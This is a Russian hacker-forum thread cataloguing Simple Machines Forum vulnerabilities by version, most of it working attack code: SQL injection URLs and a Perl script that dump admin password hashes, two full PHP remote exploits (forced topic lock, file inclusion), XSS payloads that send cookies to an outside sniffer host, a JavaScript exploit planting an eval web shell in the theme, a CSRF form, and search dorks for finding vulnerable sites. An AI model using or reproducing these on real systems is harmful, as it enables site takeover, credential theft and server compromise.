Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
[Обзор уязвимостей Simple Machines Forum] |

12.08.2007, 04:38
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 705
Провел на форуме: 5381835
Репутация:
1329
|
|
[Обзор уязвимостей Simple Machines Forum]
[SMF 1.0 Beta 5 Public]
XSS
Удаленный пользователь может выполнить XSS нападение. SMF не фильтрует данные, представленные пользователем в тэге '[size]'.
Пример:
Код:
size=expression(eval(unescape(document.URL. substring(document.URL.length-41,document.URL. length))))]Big Exploit[/size]
[SMF 1.0.4]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре 'msg'. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.
Пример:
Код:
http://[target]/index.php?action=post;msg= 1%20UNION%20SELECT%20memberName, 0,passwd,0,0%20FROM%20smf_members %20WHERE%201/*;topic=8.0; sesc=[VALIDSESCIDHERE]
Эксплоит:
PHP код:
#!/usr/bin/perl -w
################################################################################
# SMF Modify SQL Injection // All Versions // By James http://www.gulftech.org #
################################################################################
# Simple proof of concept for the modify post SQL Injection issue I discovered #
# in Simple Machine Forums. Supply this script with your username password and #
# the complete url to a post you made, and have permission to edit. 06/19/2005 #
################################################################################
use LWP::UserAgent;
if ( !$ARGV[3] )
{
print "Usage: smf.pl user pass target_uid modify_url\n";
exit;
}
print "###################################################\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "###################################################\n";
my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd,0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you entered seems invalid!\n");
my $ua = new LWP::UserAgent;
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);
$ua->cookie_jar({});
print "[*] Trying $path ...\n";
my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
$req->content_type('application/x-www-form-urlencoded');
$req->content('user=' . $user . '&passwrd=' . $pass . '&cookielength=-1');
my $res = $ua->request($req);
print "[*] Logging In ...\n";
# When a correct login is made, a redirect is issued, and no
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n";
my $sid = $ua->get($path . '/index.php?action=profile;sa=account');
# We get our current session id to be used
print "[*] Trying To Get Valid Sesc ID \n";
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
{
# Replace the old session parameter with the
# new one so we do not get an access denied!
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;
print "[+] Valid Sesc Id : $sesc\n";
print "[*] Trying to get password hash ...\n";
my $pwn = $ua->get($post);
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n";
print "[+] Password Hash : $1\n";
}
else
{
print "[!] Exploit Failed! Try manually verifying the vulnerability \n";
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!';
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!';
exit;
}
[SMF 1.0.5]
XSS
XSS уязвимость через BB коды.
Пример:
Код:
[size=0pt][sub][^color=#e1e1e1]g[img]http://re [flash=200,200]http://w onerror=img=new/**/Image();a=String.fromCharCode(?,?,$);img.src=a+document.cookie;this.style.display='none' and end[/flash][/img][/color][/sub][/size]
[SMF 1.0.6]
XSS
Уязвимость существует из-за недостаточной обработки входных данных в поле "X-Forwarded-For" HTTP заголовка. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта при просмотре злонамеренных данных с помощью "View all members".
[SMF 1.1 RC2]
Lock Topics Remote Exploit:
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1.RC2 "lock"/Zend_Hash_Del_Key_Or_Index Vulnerability
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork, version specific: "Powered by SMF"
--------------------------------------------------------------------------------
');
if ($argc<6) {
print_r('
--------------------------------------------------------------------------------
Usage: php ".$argv[0]." host path user pass topic OPTIONS
host: target server (ip/hostname)
path: path to SMF
user/pass: u need a valid user account
lock: topic u want to lock
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php ".$argv[0]." localhost /smf/ user pass 4
php ".$argv[0]." localhost /smf/ user pass 3 -p81
php ".$argv[0]." localhost / user pass 7 -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function my_encode($my_string)
{
$encoded="";
for ($k=0; $k<=strlen($my_string)-1; $k++)
{
$encoded.="chr(".ord($my_string[$k]);
if ($k==strlen($my_string)-1) {$encoded.=")";}
else {$encoded.=").";}
}
return $encoded;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$topic=(int)$argv[5];
$port=80;
$proxy="";
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$data="user=".urlencode($user);
$data.="&passwrd=".urlencode($pass);
$data.="&cookielength=-1";
$data.="&hash_passwrd=";
$data.="&submit=Login";
$packet ="POST ".$p."index.php?action=login2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "cookie -> ".$cookie."\r\n";
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];
echo "sessid -> ".$sessid."\r\n";
$temp=explode(";member=",$html);
$temp2=explode("\n",$temp[1]);
$uid=(int)$temp2[0];
echo "user id -> ".$uid."\r\n";
$packet="GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode('name="sc" value="',$html);
$temp2=explode("\"",$temp[1]);
$sc=$temp2[0];
echo "sc code -> ".$sc."\r\n";
$temp=explode('"num_replies" value="',$html);
$temp2=explode("\"",$temp[1]);
$replies=$temp2[0];
echo "num replies -> ".$replies."\r\n";
$hash_1="173250926";
$hash_2="266332046";
$data='-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="topic"
'.$topic.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="subject"
I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="icon"
xx
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="message"
I totally disagree, locked.
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="notify"
0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="lock"
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'.$hash_1.'"
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="'.$hash_2.'"
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sticky"
0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="move"
0
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="attachment[]"; filename=""
Content-Type: application/octet-stream
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="post"
Post
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="num_replies"
'.$replies.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="additional_options"
1
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="sc"
'.$sc.'
-----------------------------7d61bcd1f033e
Content-Disposition: form-data; name="seqnum"
0
-----------------------------7d61bcd1f033e--
';
$packet="POST ".$p."index.php?action=post2;start=3;board=".$board." HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Referer: http://".$host.$path."index.php?action=post;topic=1.0;num_replies=0\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: ".$cookie."\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$packet= "GET ".$p."index.php?action=post;topic=$topic.0;num_replies=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"This topic is locked")) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
(lngfile) Remote Exploit:
PHP код:
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
Simple Machines Forum <= 1.1 rc2 "lngfile" Zend_Hash_Del_Key_Or_Index/arbitrary
local inclusion exploit (Win boxes)
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Powered by SMF"
--------------------------------------------------------------------------------
');
/*
works against Win boxes
regardless of php.ini settings
against PHP < 4.3.3, PHP 5 < 5.1.4
*/
if ($argc<5) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path mail include OPTIONS
host: target server (ip/hostname)
path: path to SMF
mail: your email, required for activation
include: path to file you want to include
Options:
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini
php '.$argv[0].' localhost /smf/ youremail@hotmail.com ../../../../../boot.ini -p81
php '.$argv[0].' localhost / youremail@hotmail.com ../../../../../boot.ini -P1.1.1.1:80
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$argv[1];
$path=$argv[2];
$email=$argv[3];
$include=$argv[4];
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
srand(make_seed());
$anumber = rand(1,9999999);
$user="sun-tzu".$anumber;
$pass="sun-tzu".$anumber;
$packet ="GET ".$p."index.php?action=register HTTP/1.0\r\n";
$packet.="X-FORWARDED-FOR: 1.1.1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
$temp=explode("PHPSESSID=",$cookie);
$temp2=explode(";",$temp[1]);
$sessid=$temp2[0];
$data="user=".$user;
$data.="&email=".$email;
$data.="&hideEmail=1";
$data.="&passwrd1=".$pass;
$data.="&passwrd2=".$pass;
$data.="®agree=on";
$data.="&lngfile=%2f".$include."%00";
$data.="&1412642694=1";
$data.="&850639942=1";
$data.="®Submit=Register";
$packet ="POST ".$p."index.php?action=register2 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="Referer: http://".$host.$path."index.php?PHPSESSID=$sessid\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";
$packet.="Cache-Control: no-cache\r\n";
$packet.="Cookie: $cookie\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
print_r("
now login with user: ".$user." pass: ".$pass." and you will see
".basename($include)." file at screen...
");
?>
[SMF 1.1 RC3]
SQL Injection
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.
Уязвимость существует из-за недостаточной обработки входных данных в параметре "cur_cat" в сценарии Sources/ManageBoards.php во время добавления нового форума. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
[SMF 1.1.2]
XSS
Обнаруженные уязвимости позволяют удаленному пользователю обойти ограничения безопасности и скомпрометировать целевую систему.
1. Уязвимость существует из-за недостаточной обработки входных данных во время создания или редактирования сообщения форума. Удаленный пользователь может внедрить в сообщение произвольный PHP сценарий и выполнить его на системе с привилегиями Web сервера.
2. Уязвимость существует из-за недостаточного механизма выбора случайных файлов в механизме звуковой CAPTCHA. Удаленный пользователь может произвести брут-форс атаку.
|
|
|

12.08.2007, 04:38
|
|
Постоянный
Регистрация: 20.01.2007
Сообщений: 705
Провел на форуме: 5381835
Репутация:
1329
|
|
[SMF 1.1.2]
XSS
Отсутствует фильтрация atachment filename
Способы эксплуатации:
1. Получение cookie
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
Код:
attachfilename<img src=. width=1 height=1 onerror=javascript:new Image().src='http://sniffsite.com/s.gif?'+document.cookie>.txt
(в адресе sniffer'a все / заменяем на /)
Получаем cookie
2. Получение web shell'a
Создаем сообщение и прикрепляем к нему файл со следующим имененем:
Код:
name<img src=. width=1 height=1 onerror=javascript:var s=document.createElement('script');s.src='http: //site.com/smfexp.js';document.documentElement.firstChild. appendChild(s);>.txt
(все / в атрибуте src заменяем на /)
Это код простейшего динамического загрузчика скриптов
http://site.com/smfexp.js - адрес загружаемого скрипта
smfexp.js изменяет шаблон default темы: вставляет в /smf/Themes/default/index.php shell
smfexp.js:
PHP код:
/*
SMF Active XSS Exploit by Cenarius
Email: ooohoow@gmail.com | Icq: 100732
Adds shell to index.php of default forum's template
*/
var shellCode = "<?php\n\n";
shellCode += "// Try to handle it with the upper level index.php. (it should know what to do.)\n";
shellCode += "eval(base64_decode('ZWNobyAnPHByZT4nOyBAZXZhbCgkX1 BPU1RbJ2NkJ10pOyBlY2hvICc8L3ByZT4nOw=='));\n"; // @eval($_POST['cd']);
shellCode += "if (file_exists(dirname(dirname(__FILE__)) . '/index.php'))\n";
shellCode += " include (dirname(dirname(__FILE__)) . '/index.php');\n";
shellCode += "else\n";
shellCode += " exit;\n\n?>";
sendRequest("index.php", null, "GET", getSesc);
function getSesc(request) {
var sessVerify = request.responseText.match(/sesc=([a-z0-9]{32})/);
if(sessVerify) {
sendRequest(
"index.php?action=theme;th=1;sa=edit",
"entire_file=" + escape(shellCode ) + "&submit=Save+Changes&filename=index.php&sc=" + sessVerify[1],
"POST", null);
}
}
function sendRequest(url, data, method, onLoadFunc) {
var request = createHttpRequest();
if(request) {
request.open(method, url, true);
if(method == "POST") {
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); }
if(onLoadFunc) {
request.onreadystatechange = function() {
if(request.readyState == 4) {
onLoadFunc(request); }
}
}
request.send(data);
}
}
function createHttpRequest() {
var httpRequest = false;
try {
httpRequest = new ActiveXObject("Msxml2.XMLHTTP"); }
catch(e) {
try {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP"); }
catch(e) {
try {
httpRequest = new XMLHttpRequest(); }
catch(e) {
httpRequest = false;
}
}
}
return httpRequest;
}
// EOF
По адресу http://vulnsite.com/smf/Themes/default/index.php получаем web shell
index.php будет содержать следующий код:
Код:
@eval($_POST['cd']);
Также можно объединить 2 приведенных выше способа, прикрепив 2 файла, или добавив в smfexp.js:
Код:
new Image().src='http://sniffsite.com/s.gif?'+document.cookie;
|
|
|

12.08.2007, 21:46
|
|
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме: 7426415
Репутация:
1398
|
|
Последний раз редактировалось Elekt; 12.01.2008 в 22:39..
|
|
|

12.01.2008, 22:57
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
Последний раз редактировалось Elekt; 03.09.2008 в 04:21..
|
|
|
SMF 1.1.4 - Add User In Group [CSRF] |

24.01.2008, 18:07
|
|
Banned
Регистрация: 04.01.2007
Сообщений: 193
Провел на форуме: 4213286
Репутация:
728
|
|
SMF 1.1.4 - Add User In Group [CSRF]
SMF 1.1.4 - Add User In Group [CSRF]
Код:
|| *************** ||
|| Author: phAnt0mh4ck3r ||
|| ************************* ||
|| SMF 1.1.4 - Add User In Group [CSRF] ||
|| r00tsecurity.org |b4lc4n-h4ck.org |cyber-underground.org |h4cky0u.org ||
|| ________________________________________________________________ ||
|_________________________________________________________________________|
Dork: "SMF 1.1.4"
Dork (SID): inurl:index.php inurl:sid= "SMF 1.1.4"
Код:
</html>
</head>
<body>
<form action="http://adress.com/path/index.php?action=membergroups;sa=members;group=GroupID" method="post"
<input type="text" name="toAdd" id="toAdd" size="30" />
<input type="submit" name="add" value="Add Members" />
<input type="hidden" name="sc" value="ADMIN SESSION ID" />
</form>
</body>
</html>
Or you can use it:
Код:
forum/path/index.php?action=membergroups;sa=members;group=groupid;toAdd=usertoadd&add=Add+Members&sc=sid
|
|
|

13.03.2008, 08:22
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
passive XSS
passive XSS in SMF mod Shoutbox
Simple Machines Forum "SMF Shoutbox" Mod 1.16b-1.14
Reference: http://custom.simplemachines.org/mods/index.php?mod=412
Bug:Persistent XSS
SMF Shoutbox is a popular shoutbox mod for Simple Machines Forum.The content of a post variable used to hold the user shout is stored in the database and then displayed to the visitors without being properly filtered.So we can insert HTML or Javascript code in the database which is then displayed in the shoutbox (which is usually at the index page of the forum).
Note:the content of this variable is also stored in an html file (sbox.history.html)residing in the main folder where SMF is installed so it is possible to insert and then execute php code under some server configurations.
Vulnerable versions: 1.16b down to 1.14
Search Engines query: "powered by smf 1.1" "SMF Shoutbox"
Vuln code
-In sboxDB.php
function missinghtmlentities() fails to sanitize
input passed to the shoutbox form
Exploit
All we have to do is pass to the shoutbox form a string starting with '&#' and ending with ';'
Most sites configuration doesnt enable guest visitors to post comments so you should create an account and login in order to exploit.SMF Shoutbox is usually in the index page of the forum so you could easily exploit this issue to collect Admins and user cookies,hijack sessions,etc
Pass this string to the shoutbox
&#<script>alert(String.fromCharCode(88,83,83))</script>;
If successful every visitor of the page should see an alert saying 'XSS'
Note:
We can inject php code but the output file (sbox.history.html)has an .html extension so in order for the code to execute the server must be configured to parse .html files for php code which is not the default configuration.
|
|
|

06.04.2008, 16:18
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме: 8042357
Репутация:
3742
|
|
5 Способов залить шелл. https://forum.antichat.ru/thread43633.html
Кстати способ с редактированием шаблонов по сути является и универсальной читалкой файлов из админки. Льем левую тему, можно даже без файлов. Ставим ей путь "/" и юзаем до посинения читалку прибавляя не index.template.php как в вышесказанной теме, а все что угодно (/etc/passwd, /home/admin/public_html/config.php к примеру)
Там стоит фильтр только на ../ в самой переменной, но он нам и не нужен.
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
|
|
|
SMForum audio Captcha Breaking |

23.04.2008, 00:32
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
SMForum audio Captcha Breaking
Deciphering the Simple Machines Forum audio Captcha
http://securityvulns.ru/Tdocument705.html
Вкратце и по сути.
Найден новый способ обхода капча кода в SMF.
Автор существенно усовершенствовал алгоритм Шанкара, и обошел пропатченную капчу.
Фишка в недостаточной рандомизации звука каждой буквы.
Из искомого файла выделяются отдельные буквы, затем сравниваются с эталоном.
Также автор поломал капчу в PHP-Nuke ( уязвимость в недостаточной длинне парольной строки и рандомной генерации хеша) используя радужную таблицу хешей на 1 миллион комбинаций.
От себя добавлю, что используя описанный алгоритм, открываются новые возможности по обходу капчи и во многих других продуктах и сервисах, заботящихся об ущербных пользователях использующих аудио-подтверждение как тест тьюринга.
|
|
|
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit |

16.06.2008, 22:31
|
|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/
Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.
Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.
Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1
c0d3d by Elekt (www.antichat.ru), 13.12.2007
::FAQ::
Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.
Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.
Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.
Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1
[i] информация предоставлена с целью ознакомления
Последний раз редактировалось Elekt; 02.09.2008 в 06:43..
|
|
|

12.03.2010, 14:22
|
|
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
Провел на форуме: 528073
Репутация:
-3
|
|
Сообщение от Elekt
SMF <= 1.1.4, 2.0Beta2 COOKIE[topic] SQL-Injection Exploit
http://www.simplemachines.org/
Уязвимость заключается в неопределенном параметре $topic.
Атакующий может определить его значение и выполнить произвольный SQL-запрос в базу данных приложения.
Дополнительную уязвимость содержат фильтры безопасности, пропускающие внедренный атакующим запрос, составленный особым образом.
Требуется:
1) register_globals=ON
2) database prefix, default "smf_"
3) Mysql => 4.1
c0d3d by Elekt (www.antichat.ru), 13.12.2007
::FAQ::
Q1: "[-] SMF unvulnerable" - что это значит?
A1: Если версия форума действительно <=1.1.4, 2.0Beta2 , то скорее всего
серверная настройка - register_globals=Off - не благоприятна Вам. Ничего сделать нельзя.
Q2: "[-] MySQL < 4.1" - что это значит?
A2: Версия базы данных ниже требуемой.
На самом деле проблема скорее не в версии mysql, а в некорректном синтаксисе SQL-inj.
Мне точно не известно, почему это происходит, потому что такой проблемы не должно быть.
Это неизвестная мне особенность конкретно взятого сервера.
Возможно, там стоит IDS или mod_security. Так или иначе - это плохо.
Получение данных невозможно, однако остается вариант атаки на отказ в облуживании через benchmark().
Из соображений гуманности я не включил модуль доса форума в паблик эксплоит.
Q3: "[-] Prefix is not correct" - что это значит?
A3: Префикс таблиц форума отличен от стандартного.
Необходим перебор его имени по словарю для mysql4.
Возможно автоопределение префикса для mysql 5.х
В паблик эксплоите функция не реализована.
Q4: "[i] Found error."
A4: Найдена ошибка.
1) Может возникнуть при нестабильном коннекте вашего интернет подключения.
Рекомендуется перезапустить эксплоит.
2) Также данная ошибка иногда возникает, если вы не указываете айди админа и доверяете эксплоиту определить его самостоятельно.
Данный баг связан с различиями в структуре таблиц форума разных версий.
Рекомендуется указывать айди админа ключом "-i".
perl smf114expl.pl -h www.target.com -d / -i 1
[i] информация предоставлена с целью ознакомления
кто пользовался данным сплоитом пишет
Cannot open log file!
не может открыть лог файл аддрес сайта
примерно такой
http://www.i.ru/forum/
в сплоит пишу такое
smf114expl.pl -h http://www.i.ru -d /forum/ -i 1
в чем проблемма?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|